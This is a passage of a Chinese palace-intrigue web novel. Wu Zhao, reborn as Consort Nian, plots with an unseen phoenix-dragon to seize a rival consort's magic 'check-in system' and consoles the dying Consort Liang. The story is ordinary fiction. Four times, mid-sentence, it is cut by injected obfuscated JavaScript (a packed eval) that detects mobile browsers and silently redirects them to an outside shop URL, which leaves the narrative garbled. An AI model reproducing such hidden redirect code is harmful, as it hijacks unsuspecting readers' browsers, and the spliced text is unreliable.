为了维护绝对统治,他以强权和掩耳盗铃强迫国民沉浸在大清无敌的梦中。 [如果没有通过天幕系统知道乾隆的这些行为造成的可怕后果,我坐上他的位置后或许也会出于维护统治的私心做类似的事情……但是……] 武曌垂下眼眸。 [我已经知道后果,已经看到了神州破碎山河沉沦的苦难,我……何况我还有凤龙,祂的力量甚至可以毁掉整个世界,自然也能让我征服世界……只要我制定正确的策略,只要我能够得到权力……] 【姐姐想成为世界的女皇?】 凤龙听到武曌的心声,漂亮到妖冶的脸上划过幼儿的迷茫笑容。 【统治世界是很有趣的事情吗?】 [统治世界不是有趣的事情,是我来到这个世界上必须完成的事情。] 武曌无意隐瞒凤龙。 在拥有超越人类想象的极致力量的凤龙面前,任何隐瞒和欺骗都毫无意义,切不可因为面对的是心智仅比人类的三岁小孩稍成熟点的幼生体就心生侥幸。 【必须完成的事情……姐姐必须成为世界的女皇,就像凤龙必须通过姐姐得到长大的……凤龙明白了……凤龙好喜欢~】 说话间,凤龙伸出看似柔如凝脂却反射出宝石的五彩光芒的白皙双手,搂住武曌的脖子,如初开蔷薇般粉嫩的浅红嘴唇亲吻武曌的脸颊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035097|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【凤龙已经迫不及待想看到整个世界都跪在姐姐脚下的那一刻~凤龙到时也会张开翅膀,将地球完全笼罩在凤龙的影子下~】 [你——] 知道凤龙幼生体是小孩心性,并且也知道祂对自己的亲昵信任是小鸟对母亲的印随,但当祂那介于两性之间的类人身体主动贴上来、发丝和皮肤都散发着比龙涎香更加神秘馥郁的香气时,武曌承认,她有点心动。 爱美之心,人皆有之,何况凤龙的形体既美丽妖娆又纯洁无辜。 [还好这里只有我能看到你——] 【姐姐担心什么?】 完全不知道被人类看见后会惹下多大的麻烦的凤龙无辜询问。 [没什么……] 武曌不想和凤龙解释祂根本不懂的东西,将话题拨回历史直播天幕。 [……康熙五十一年十月出生的皇五子是未来的爱新觉罗弘历吗?] 【不好说,四福晋的天幕播放的是最接近这个世界的平行世界的历史~不是这个世界的真实历史~】 [谁是皇五子的母亲?] 【不知道……】 凤龙像盘面条一样弄着修长的手指。 祂还没有完全习惯人类的身体,即便祂已经非常努力地模仿学习。 【不过我想皇五子的母亲应该很快就会出现~毕竟雍亲王府也就那么几个女人,年氏入府以后还能得宠有孕的女人更是少之又少~只是……】 [只是什么?] 【年世华的身体很虚弱,生孩子对她而言是极其危险又有负担的事情,如果你想成为皇五子的母亲,必须尽快调理好身体……而在雍亲王府内恰好有一些东西可以成为你的补品……】 说到这里,凤龙露出天真又残忍的笑容。 [什么东西?不会是——] 武曌好奇凤龙打算做什么。 凤龙笑了笑,从头上拔下一根发簪——龙凤都喜欢闪光的东西,作为龙凤结合体的祂自然也不例外,变化成人形后第一件事就是研究年世华的梳妆台,像孔雀开屏那样往头上插戴各种金银宝石—— 【雍亲王府里并不只有嫡福晋乌拉那拉氏有秘密,你第一次见到耿佳氏的时候,我就闻到她身上的味道~有点酸涩的香味,如果能够弄到手,或许可以治好你现在的身体……】 祂像孩童吃冰糖葫芦那般咬着发簪,含糊不清地告诉武曌。 [……想不到小小的雍亲王府居然藏着这么多秘密,难怪会被你选中。] 武曌若有所思。 谨慎的本性让她甚至开始怀疑世界的真实,直到想起凤龙在身边,她才再次放宽心,笑着捏了捏凤龙的小脸蛋。 [明天我们去耿佳氏那边,看看她到底藏着什么秘密!以及如何将她的秘密变成我们的东西。] 【好耶~好耶~凤龙宝宝只喜欢吃好吃的东西啦~】 话音落,链接嫡福晋的天幕直播系统的复刻天幕自动开启,播出令人不安的内容—— 【年氏的早夭……】 29.身体是本钱 侧福晋年氏突然来访,耿佳氏主动出迎:“格格耿佳氏给侧福晋请安——” 武曌急忙扶住要行礼的耿佳氏:“妹妹有孕,不必多礼,快快起来。” “谢姐姐。” 耿佳氏缓缓起身,邀年氏与她一同入内室。 ——按年纪,年世华要喊耿佳氏“姐姐”,但皇家女眷的排序素来尊卑高于长幼,因此,格格身份的耿佳氏必须喊侧福晋“姐姐”。 武曌笑纳耿佳氏的殷勤,眼角余光看了眼紧跟身后的凤龙。 仗着只有武曌能看到自己的凤龙此时已大摇大摆跑到耿佳氏身旁,将耿佳氏上下打量,漂亮的脸蛋像小猫小狗一样贴着耿佳氏的身体左右嗅吸,眉头紧皱,发出奇怪的思考。 【她身上的东西……世上居然有这么有趣的系统……可惜太废物……实在是太废物……吃下去对我没有多少用处……但是给姐姐……倒是恰到好处……可是姐姐不能食用系统……好头痛……要长脑子了】 [……你在想什么?为什么前言不搭后语?] 武曌问凤龙。 凤龙想了很久,没有回答,伪装成黑色的眼睛流出金色光芒。 武曌见状,假意关心耿佳氏:“妹妹近来身体可好?隔几日让大夫诊脉一次?” “谢姐姐关心,大夫说胎儿一切都好,大约十一月可以出生,就不知道——” 说到这里,耿佳氏本能地摸着小腹。 [钮祜禄氏生下的是格格,我这胎多半也是格格,将来……若想再次有孕再生阿哥,怕是只能签到复刻年世华的命运……她如此正得宠,想来很快就能怀上爷的孩子……] [签到……复刻……] 武曌心惊,随后了悟。 原来耿佳氏身上真的有秘密,并且是个不亚于嫡福晋乌拉那拉氏的秘密,可惜她的对手是自己,她这次注定—— “妹妹不必忧心,你和钮祜禄氏都正年轻,即便这一胎生下的都是格格,将来也一定会再生小阿哥。嫡福晋请来的高僧、相师们可是个个都说雍王府的风水好,要生下有福的阿哥……” “谢姐姐宽慰,可惜我……我……” 耿佳氏垂泪,内心汹涌澎湃。 [我和你不一样,我没有美丽的容貌,优雅的举止,渊博的知识,上等的家世,我无法像你一样得到爷的宠爱……连我的格格身份、肚子里的孩子都是靠着咸鱼签到系统才得到……不过既然你这么好心的安慰我,祝福我,我也……我用签到奖励复刻你的人生,你应该不会生气吧?毕竟你一贯都那么温柔善良美好……] [准备蹬鼻子上脸吗?] 耿佳氏的心声让武曌心中一阵冷笑。 原本,她还有些犹豫,犹豫要不要通过凤龙将耿佳氏身上的系统占为己有以此治愈年世华的虚弱身体,毕竟系统这种东西听起来就又玄妙又神秘,鬼知道将别人的系统占为己有后可能引发什么后果。 但是现在—— [即便咸鱼签到系统不能为我所用,也无法完全治愈年世华的身体,我也要得到它!因为我不许其他人用这个系统危及我的利益!] 【为什么?】 凤龙不解。 武曌微笑着,一边和耿佳氏虚情假意,一边告诉凤龙—— [力量只有握在自己手中才是力量,何况耿佳氏显然不可能成为我的人。] 【——也是。】 凤龙似懂非懂地点了点头。 通过方才一番探查,祂已经基本摸清耿佳氏身上的咸鱼签到系统的规则原理。 【耿佳氏身上的系统名叫咸鱼签到系统,身为宿主的她必须连续签到六百天才能得到一次签到复刻机会,并且每次签到复刻他人的命运都会给被复刻者带来意想不到的副作用作为代价。所以,这个咸鱼签到系统是纯利己系统,即便姐姐花心思把耿佳氏收服,耿佳氏愿意用咸鱼签到系统帮助姐姐,也是低效率又毫无价值……但如果这东西留在耿佳氏身上,又指不定什么时候产生危害……】 [她已经开始对我动心思了。] 【她上次获得签到复刻机会是二百五十天前,需要再签到三百天左右才能得到一次复刻机会,我们可以……可以……】 [可以怎样?] 【可以完整无误地将咸鱼签到系统从她身上一点点地剥下来。】 说这些话的时候,凤龙笑得天真无邪。 毕竟,系统的神秘不可测只针对人类和宿主,在凤龙眼里,系统是可以做成美味佳肴的猎物。 【咸鱼签到系统对宝宝而言并无价值,但是可以给姐姐现在的身体改善体质~宝宝喜欢新奇的特殊的东西,很有意思~】 [我明白了,按你的想法去做吧。] 武曌冷冽下令。 凤龙露出心照不宣的笑容。 当然,与凤龙进行心灵对话的同时,武曌也没有停止和耿佳氏的卿卿我我,满口的姐姐妹妹,仿佛她们是失散多年的异父异母的亲姐妹。 耿佳氏见年氏待自己如此真诚,心里难免有几分触动,担心对体弱的年氏使用咸鱼复刻系统会导致年氏早夭,但想到生下阿哥的好处以及雍亲王府迄今为止只有弘时一个活着的男丁的事实,私心瞬间压到善良—— [对不起,我不想伤害你,我甚至有些喜欢你,但是如果不把签到复刻用在你身上让我有机会生下男孩,我的未来就……如果你因为被我复刻命运而更加地体弱多病,甚至因此早夭,那也是系统的错,不是我的错!我没有害你!要怪就怪系统!或是——怪你自己命不好!] 想到这里,耿佳氏的心开始滴血。 她为自己即将因为咸鱼签到复刻系统的副作用被迫背负伤害柔弱可怜的年氏的命运而感到痛心。 [不管将来发生什么,都不是我的错,我没有害你的意思,一切都是偶然……只是你运气不好而已……原谅我……不要怪我……如果你因此死去,我会为你哭泣……千万千万不要怪我……] [……] 耿佳氏的心声让武曌心中冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047436|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,脸上却挂着温柔笑容,甚至主动走到耿佳氏身边,半蹲着身子抚摸耿佳氏的小腹:“肚子这么大,一定能生下健康的小阿哥。” “之前钮祜禄氏怀孕的时候,大家也是这样说,结果——” “钮祜禄氏是钮祜禄氏,你是你,我相信你一定能生下小阿哥。” 武曌抬头,温情脉脉地看着耿佳氏:“你有福相。” “福相……” 耿佳氏苦笑:“如果我真有福相,又怎么会入府多年始终得不到爷的宠爱,机缘巧合才……好不容易怀上孩子……但这个孩子大概可能是我此生唯一的孩子……我……姐姐,我真的好羡慕你,你有上等的家世、优雅的举止、温柔的性情、美丽的容貌还有爷的宠爱,我却……唉,为什么老天把那么多美好的东西全给了你,却不能分我一点?” “妹妹,你错了,我虽然看起来处处比你强,但我却也羡慕你……羡慕你有上好的身体,不像我……动不动就生病吃药……即便有宠,不知何年何月才可能为爷生下健康的孩子……想到自己可能无法为爷开枝散叶,我的心就如刀割一样疼……” “姐姐——” 耿佳氏被年世华的言语触动,情不自禁地哭泣起来。 [为什么!为什么我们都活得这样痛苦!如果我能拥有你的一切,凭着如今的健康身体,前路该有多美好!] 武曌见耿佳氏如此态度,也越发坚定地想得到她的咸鱼签到系统,让年世华拥有即便多次生育依旧长寿健康的好身体。 毕竟—— 身体是政治的本钱。 …… …… 钮祜禄氏逐渐走出千辛万苦生下的竟是个小格格的沮丧,抱着孩子随嫡福晋乌拉那拉氏和侧福晋年氏进宫,觐见永和宫主位德妃。 德妃虽然也遗憾钮祜禄氏生下的是格格不是阿哥,但从嬷嬷手中接过脸蛋圆润的小格格,看着孩子如莲藕般可爱的胳膊,心里顿时溢出了甜蜜。 “格格好啊~格格贴心,可爱着呢~” 德妃宠溺地看着还只会哇哇叫唤的小格格,笑得眼角鱼尾纹都舒展了:“这么可爱的孩子居然直到现在才抱进宫里给我瞧瞧,你们真是太小心谨慎了!” “回额涅的话,雍亲王府子孙单薄,新添的孩子不论是小阿哥还是小格格都金贵得很,我们怕孩子太小禁不起路途颠簸,万一……” “呸呸呸!不许胡说!” 德妃打断乌拉那拉氏的话,眼角眉梢都是对孩子的溺爱:“等孩子再稍微长大一些,我就向皇上请旨,让他允许我亲自抚养小格格……永和宫主位什么的,哪比得上小孩陪在身边热闹快活~” “额涅说得极是。” 乌拉那拉氏附和着,看了眼钮祜禄氏。 钮祜禄氏有些不情愿,但她毕竟只是个王府格格,若不是生下了小格格,她甚至没有资格入宫觐见—— 想到这里,钮祜禄氏忍痛道:“小格格能被德妃额涅抚养是她的福分,也是奴才的福分。” 30.再见良妃 “我也是做母亲的人,知道将母亲和孩子分开的苦处,可是宫里实在太寂寞,我太想有个小孩在身边,恰好这孩子和我特别投缘……” 德妃叹了口气,让嬷嬷把赏赐端给钮祜禄氏:“你为爱新觉罗家生下聪明伶俐的小格格,这些都是你应得的。” “谢德妃额涅恩典。” 钮祜禄氏含泪低头领赏。 德妃抱着小格格又是一番逗弄,目光落在年世华身上:“你入府也有半年,要抓紧些。” “奴才始终不敢懈怠,可惜——” “老四他忙着完成皇上派的差事,难免对后院的女人们有所冷落。所以你们要更加用心更加努力,给爱新觉罗家开枝散叶才是你们的头等大事。” 德妃告诫完年氏,又开始训诫乌拉那拉氏:“你虽有贤惠温顺善良美名,却始终没有做好身为嫡福晋的头等大事——雍亲王府的孩子实在太少太少了。” “媳妇明白,媳妇一直为此感到烦恼,媳妇也想——” “胤禛为人性格沉稳冷峻,不想多花心思在后院,可你身为嫡福晋怎么也能如此散漫?要知道,皇上现在已经有九十多个皇孙!胤禛……胤禛却只有一个儿子!胤禵那边也是……两个儿子都是如此,我心里怎能不急!” 说着说着,德妃开始抹眼泪。 她虽偏心小儿子胤禵、因为姐妹情谊对良妃所生的胤禩始终存有好感,但她毕竟是个从小接受多子多福教育的传统女人,即便是对素来不亲的长子胤禛,心里也本能地盼着他能给自己生下一堆孙子孙女。 “生孩子的事情,你要盯紧些。雍亲王府不能一直只有弘时一个孩子。” “儿媳明白,儿媳一定竭尽所能劝四爷多多临幸后院。” 乌拉那拉氏一脸无奈地收下训诫。 天幕说得很清楚,胤禛虽然登基成了雍正皇帝,可他一生拢共只有四个儿子、一个女儿活到成年,其余全部夭折,是真正的子孙单薄。 即便因不明原因,天幕承诺的该在康熙五十年八月由钮祜禄氏生下的未来的乾隆皇帝、四阿哥弘历成了四格格,爱新觉罗弘历改成康熙五十一年十月出生——天幕提供的胤禛的成年孩子总数依然没有发生大变化,只是从四个儿子一个女儿变成了三个儿子三个女儿。 三个儿子三个女儿…… 等等! 这话的意思莫非是耿佳氏将有可能生下小阿哥? 乌拉那拉氏欣喜,笑盈盈地对德妃道:“额涅莫要担忧,相师们都说雍亲王府今年会出生至少一名小阿哥,如今钮祜禄氏没能生下小阿哥,那雍亲王府的小阿哥多半便是应在耿佳氏身上。” “耿佳氏……” 德妃蹙眉,看了眼钮祜禄氏。 钮祜禄氏下意识地低了头,不想被德妃看出悲喜。 德妃又看向年世华:“你以为如何?” “四爷能有更多的孩子,是我们所有人的福分。” “我也希望老四能早早有个四阿哥,弘时虽然……但他实在……唉……” 德妃叹了口气:“老四从小聪明谨慎,怎么就只有弘时一个还……乌拉那拉氏,回府以后务必让何清和那个西洋传教士反复认真教育。皇上有将近九十个皇孙,他老人家的眼睛里容不得不出色的孙儿。” “奴才明白。” 乌拉那拉氏俯首帖耳。 随后,德妃脱下一个翡翠手串赏给年世华,道:“你是胤禛身边难得的读过书有些文采见识的,待会跟戴嬷嬷去良妃那边陪她说会儿话,劝她宽心,病了就该吃药,千万不能为了和八阿哥斗气就折磨自己的身子。” “德妃额涅此话……难道良妃娘娘她——” 武曌做出惊愕姿态。 乌拉那拉氏和钮祜禄氏也都表情震惊:“良妃娘娘——” “具体发生了什么,我不是很清楚,只知道八阿哥因为卷进前朝的一桩案子被皇上训斥,良妃妹妹听说以后说她以后不会再吃一口药,就这么死了算了……任谁劝她都不听……” 说到这里,德妃也流下眼泪:“同届入宫的姐妹本该相互扶持,唯独她……命途如此坎坷……年氏,你待会一定要好好劝她,好歹吃几口药,不能这么作践自己的身子……” “奴才明白,奴才一定竭尽所能劝说良妃娘娘——” “你能这样想也不枉我一番喜欢。” 随后,德妃示意戴嬷嬷领年世华去良妃处,乌拉那拉氏和钮祜禄氏留在永和宫中陪她逗弄新出生的小格格。 …… …… 武曌走进良妃寝宫,沉重压抑的气息扑面而来。 【她快死了,她的心已经死了。】 凤龙直言不讳。 【当然,对她而言,死亡未尝不是一件好事。她是个苦命的女人,想要的一切都没能得到,也不可能得到。】 [可惜我眼下的任务是劝她吃药。] 浅笑间,武曌走到面色惨白如纸的良妃面前,屈膝行礼:“奴才——” “不用多礼,我知道你是德妃姐姐派来的,她想劝我吃药,想让我不要再继续作践自己的身子,可是我……” 良妃苦笑着,让武曌起身,坐到她身旁。 看着年世华的青春面容,良妃不禁有感而发:“年轻真好啊……” “良妃娘娘如今看着也是美貌依旧——” “我年轻时并无美貌,熬了许多年才有了个妃位。” 良妃抬手,骨瘦如柴的手指拂过年世华的脸颊:“若是我年轻时能有你这般好容貌,又何至于……可惜……可惜……纵然有动人的容貌,皇上不喜欢也是不喜欢……何况皇上心中始终只念着赫舍里皇后,我们……我们所有人都只是……” 说到这里,良妃叹了口气:“你回去吧。” “良妃娘娘——” “我不吃药不是想作践自己,实在是看穿了看透了……皇上不喜欢胤禩,根本不考虑立胤禩为储君,胤禩却一心成为储君,想方设法希望皇上看到他、不惜做皇上最讨厌的结党营私也要让皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057916|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上认同他……以致如今闹出这等大事……一切都是他的自作自受……而我……生下他的我也是……我不想恨他,我也不想恨皇上,我只恨我自己还活着……” “良妃娘娘,皇上、八阿哥和德妃额涅对您都怀有深情,哪怕只是为了他们,您也应该——” “我知道他们心里有我,可也是因为他们心里有我,我才……才更需要……” 良妃流下眼泪,握着年氏的手,殷切道:“如果你是我,卷入这样的痛苦,你会怎么做?” [我会解决让我痛苦的人。] 心中想着狠话,武曌面上却温情脉脉:“自然是竭尽所能地调和关系,绝不让皇上和阿哥父子离心。” “我也是这么想的……可是我……既不能让皇上喜欢八阿哥,也不能让八阿哥放弃争夺皇位的心……除了夹在缝隙中左右为难,我什么都做不到……尤其是这次的事情……虽说后宫不得干政,但皇上还是把下面的人送上来的关于八阿哥的奏章都给我看了……我……” 良妃苦笑:“我做梦也没想到他为了皇位竟然能做出这么可怕的事情!他甚至和九阿哥私下有约,若是我活不到他继位那天,他……他就让宜妃姐姐做皇太后……他一早知道我命不久矣……他完全没想过我夹在中间的感受……” “良妃娘娘,您真是太难了。” “所以我想死……我真的……真的很想死……” 良妃低头,靠着年氏的肩膀:“这些话都是我近来天天想着的心里话,我知道是丧气话,不能随便对人说,但是……我……我……不知道为什么,看到你,我竟忍不住想把心里话全部说出来……说出来以后虽然还是很难受,心却不像以前那么痛了……” “良妃娘娘若是喜欢,我愿意时时入宫陪良妃娘娘说心里话——” [顺便探查宫里的种种动向。] 武曌在心中补充。 良妃自然不知年氏的真实想法,她见年氏如此关心爱护自己,想到儿子曾不止一次在自己面前抱怨不能纳年家女儿为侧福晋,不由地悲喜交加。 “雍亲王虽然年纪大了些,可他为人谨慎小心,做事兢兢业业,你跟着他至少不必受苦受累。反观我儿胤禩……以他的性情和胸襟,迟早惹出大事……若是你被赐婚与他,将来必定要跟着他吃苦……” “良妃娘娘,您这话——” “我看得很清楚,全部都很清楚。” 良妃抬头,殷切看着年氏:“你是个好女孩,应该有个好归宿,而不是——罢了罢了,你把汤药拿过来,我姑且喝上几口……免得你回去永和宫在德妃姐姐面前没法交代……” “谢良妃娘娘温柔体贴。” 武曌起身,从嬷嬷手中接过汤碗,喂良妃吃药,外间传来“八贝勒求见良妃额涅”的声音。 良妃顿时面色大变:“他来做什么!不见!我不要见他!” “可是——” “额涅为何不见儿子!” 话音未落,胤禩已经闯入寝殿。 31.不如没有儿子 “胤禩!” “八贝勒——” 良妃和年世华的声音同时响起,一个是怒喝,一个是起身行礼。 胤禩看到年世华向自己行礼,也顿时愣住:“你……你怎么会……” “回八爷的话,德妃额涅派奴才过来陪良妃娘娘说话,不曾想——” 说到这里,武曌顿了一顿:“奴才先行告退。” “别走!” 良妃与胤禩异口同声道。 紧接着—— 良妃抬头,虚弱地看着胤禩:“该走的人是你!” 胤禩:“额涅,您这话……我知道我不该惹您生气,可您也不能这样对待儿子!我可是您唯一的儿子!” “若是我命中注定只能有你这样的儿子,那还不如没有儿子……咳咳……” 说到激动处,良妃又开始咳血。 胤禩见状,赶紧跪在地上哀求道:“儿子不孝,儿子给额涅赔罪,求额涅不要生儿子的气,儿子这就……这就退下去……” “你也知道我……我是被你气得……气成这样……” 良妃捂着嘴,痛苦不堪道:“你若是真心孝顺,希望我好好活着,就不要再妄想不属于你的皇位……皇上从未想过立你为储君,不管你怎么努力……怎么用力都……都只会让皇上越加地厌恶你……胤禩,你是我唯一的孩子,我希望你能够……而不是现在这样……” “额涅——” 胤禩神色悲戚地看着良妃,一言不发。 武曌与侍奉良妃的宫女嬷嬷们也都站在一旁,沉默不语。 唯独凤龙左顾右盼,天真的脸上渐渐浮起微妙的笑容。 【……这就是人类的感情吗?即便是喜欢也要充满防备,即便是爱也不得不克制,看起来深情款款,其实内心充满担忧和憎恶,为什么人类会如此复杂,哪怕是母子之间也要如此的纠缠和计算……】 [因为人类的生命是有限的,能得到的东西也是有数的,但不是每个人都能坦然接受有限的生命和有限的得到。当得到远不如预期时,人心就会产生贪婪,就会渴望得到不属于自己的东西,并且为这份得到毫无顾忌地伤害其他人……尤其是爱自己的人……] 【所以……良妃明知道胤禩有权追求皇位却只敢指责胤禩不该有非分之心,因为她知道康熙不爱她,康熙不会把她的指责当回事,甚至可能因为她胆敢指责自己而杀死她……如此看来,胤禩也是有几分可怜——】 [胤禩不值得可怜。] 武曌冷酷地告诉凤龙。 [他想得到皇位却没有能力追逐皇位,只敢把心中的愤恨和不甘发泄在最在乎他最疼惜他的母亲身上——这种不敢对强者挥刀却热衷折磨爱自己的弱者的男人是最没用的。] 【……确实如此,不管是作为男人还是作为女人或者单纯作为生物,胤禩都是没用的。】 凤龙深以为然,目光不自觉中被良妃的妆台上一朵用金丝做花蕊的浅粉色丝绢宫花吸引,仗着没人看见,竟伸出白皙修长的罪恶—— [那是良妃的东西!不能动!你要喜欢吃这种镶嵌了金银细丝的宫花发簪,回去以后,我让下面的人做一整盘给你。] 武曌赶忙阻止。 毕竟,如今的凤龙即便有了人的外形,依然没有人的内在,祂看到金银宫花发簪就像人类小孩见到桃花酥一样挪不动脚。 【好呀好呀!】 凤龙接受“贿赂”,眼睛滴溜溜地看向胤禩。 【他其实也挺可怜的,有野心却没有足以匹配野心的能力……如果他能早早放下执念或许还会有个好结果……可是如果放不下……】 凤龙眨了眨眼睛。 对祂而言,单个人类的生死不重要。 武曌也是如此认为。 所以,即便胤禩未来凄惨,她也不会对他产生丝毫同情。 政治家就该有身为政治家的成王败寇和孤注一掷,而不是做事瞻前顾后、沽名钓誉。 另一边—— 半晌沉默,胤禩缓缓起身:“额涅终究还是不愿意原谅儿子,儿子只能暂且离开。请额涅务必保重身体,不要再置气不吃药了。” “你这般的态度,我怎么可能保重身体……” 良妃苦笑一声,命嬷嬷领胤禩离开。 武曌行礼送胤禩。 胤禩看也不看她一眼,径直离开。 胤禩走后,良妃招手让年世华来到身旁:“刚才的事情,你都看到了?” “奴才看得真切。” “胤禩已经无药可救,偏偏我又只有他一个儿子,我也是……无处可去无药可救……倘若当年没有被皇上看中……倘若我没能生下胤禩,只是宫里最低等的常在、官女子……反倒不必承受如今的苦楚和悲伤……可惜……可惜……” 说到这里,良妃再度泪水涟涟:“年氏,你还年轻,还有未来,你要将我引以为鉴,切不可走我的老路。” “良妃娘娘放心,年氏牢记娘娘教诲,不敢有半分懈怠。” “你是个聪明的孩子……但是聪明的人未必一定会有好结果……” 说罢,良妃转头,示意年氏离开。 武曌起身,行礼退出,却在过庭院时被胤禩拦住去路:“八贝勒——” “当初如果我能坚持一下,你现在就是我的侧福晋。” 胤禩开门见山地说道:“像你这种才学家世都是一等一的年轻美貌女子,居然被指给四哥做侧福晋,真是可惜。” “八贝勒,镶白旗在康熙四十八年就被皇上归拨四爷名下,从那时起,我便是雍亲王府的属人,入雍亲王府是份内之事。” 武曌直言拒绝胤禩的胡思乱想。 “份内的事情……” 胤禩舌尖颤抖。 他原本对年世华没有感情,只是贪图年家父子三人的朝堂分量加上年世华年轻美貌,有意将她收入府中做侧福晋,直到康熙皇帝将年世华赐婚给老四胤禛,他才因为得不到逐渐产生执念,此后与年世华几次接触,越是接触越觉得此女不仅美貌更有难得一见的才学见识,若能得此女为妻妾,必定能离皇位更近一步。 现在,年世华当场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078233|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝了他,他心中的执意也越来越重。 “你心里当真从未想过嫁给四哥以外的任何人?他已经三十多岁,虽然沉稳内敛颇得皇阿玛喜爱,却也几乎不可能登基!你做他的侧福晋——” “规矩就是规矩,还请八爷见谅。” 说完,武曌款款行礼,离开良妃处。 胤禩站在原地,神色痛苦不堪。 …… …… 与乌拉那拉氏、钮祜禄氏回到雍亲王府已经是夜晚,武曌却没有休息。 因为雍亲王胤禛回来了。 他已从奴仆处知晓今日在宫中发生的大小事情,完全赞同德妃希望钮祜禄氏将新生下的格格送入宫中作伴的建议,并对年氏在良妃处的见闻充满兴趣。 “……老八当真在良妃面前说了这等话?” “八贝勒希望良妃能理解他、支持他,良妃娘娘却——” “良妃娘娘也是可怜,左右不得好,偏生皇阿玛和老八都不肯主动让步,害她不得不左右为难,痛不欲生。” 然而,说这些话的时候,胤禛脸上并没有流露出对良妃的同情,哪怕良妃和他的生母德妃是多年好闺蜜。 事实上,比起良妃的不幸,他更关心年氏对胤禩的态度:“听说你出来的时候被胤禩拦住了去路?” “确有其事。” “胤禩对你说了什么?” “他对奴才说的话,奴才不敢转述给爷听。” “我恕你无罪。” “他说他后悔当初没有争取……” “混蛋!” 胤禛随手打翻茶盏:“他好大的胆子!” “奴才——” “你是怎么回答的?” “奴才告诉他,镶白旗的人按规矩就应该侍奉四爷,不论是奴才还是奴才的父母兄弟,都从康熙四十八年开始成为四爷的属人,生死婚嫁听凭四爷指派。” “……这个回答好,进退有度,也表明了自己的身份。” 胤禛满意地点了点头,让年世华起身,坐到身旁,轻抚她的手掌:“老八这个人什么都好,就是没有好运气,又处处事事想要证明自己,结果自然除了老九他们没几个人愿意和他搅合在一起。他也知道自己的这个弱点,所以总是看着温文儒雅其实骨子里自卑得厉害。” “爷的意思是——” “以后不要再去良妃那边,哪怕德妃额涅让你过去也别过去,”胤禛冷飕飕地表示,“良妃的身体越来越差,恐怕熬不过今年……而以老八如今,良妃要是有个三长两短,后宫和朝堂必定又要有一番风波……” “奴才明白。” “记住——” 胤禛低头,亲昵地看着女人:“你现在的头等大事是给爷生下小阿哥。其余都不重要。” “耿佳氏的肚子不是快要——” “孩子还没生下来,谁能确定生下的一定是男孩?何况以耿佳氏的资质,生下的小阿哥多半是第二个弘时……我不是强求我的孩子个个成龙成凤,可如今这形势,雍王府总得有个拿出手的阿哥吧!” 32.可笑的天真 三个月的时间弹指一挥,很快,钮祜禄氏所生的小格格将满百日,格格耿佳氏也即将迎来生产。 双喜临门原是好事,应大肆宴请庆祝,然而,与雍亲王府只有一墙之隔的八贝勒府近来却为了良妃的病情而凄风惨雨。 胤禛因此嘱咐嫡福晋乌拉那拉氏:“四格格的百日宴庆贺不必太张扬,耿佳氏那边也是如此——胤禩与我终究是从小在景仁宫长大的兄弟,良妃又与德妃额涅是多年闺蜜好友。” “奴才明白。” 乌拉那拉氏已通过天幕知道良妃薨逝于康熙五十年十一月二十日、同年十一月二十七日耿佳氏生下未来的和亲王弘昼,因此,即便没有胤禛的叮嘱,她也会尽量低调庆贺小格格的百日和耿佳氏为雍亲王府又添一枚子嗣这两桩大喜事。 话说回来,本该是四阿哥的弘历变成了四格格,本该是五阿哥的弘昼该不会也—— 乌拉那拉氏有些心慌。 虽然天幕给出的信息表明即便钮祜禄氏生下的是四格格而非四阿哥,耿佳氏也会给雍亲王府添一个小阿哥,并且——明年十月,雍亲王府会迎来至关重要的皇五子。 [天幕给出的信息究竟几分是真几分是假?倘若天幕给的信息是假的,为何之前所有一切都恰如其言?如果天幕给的信息是真的,为什么至关重要的四阿哥弘历会突然变成四格格?倘若最关键的部分都是错的,年氏和年家的未来……我成为大清皇后的未来……雍亲王府的未来……] 乌拉那拉氏心乱如麻。 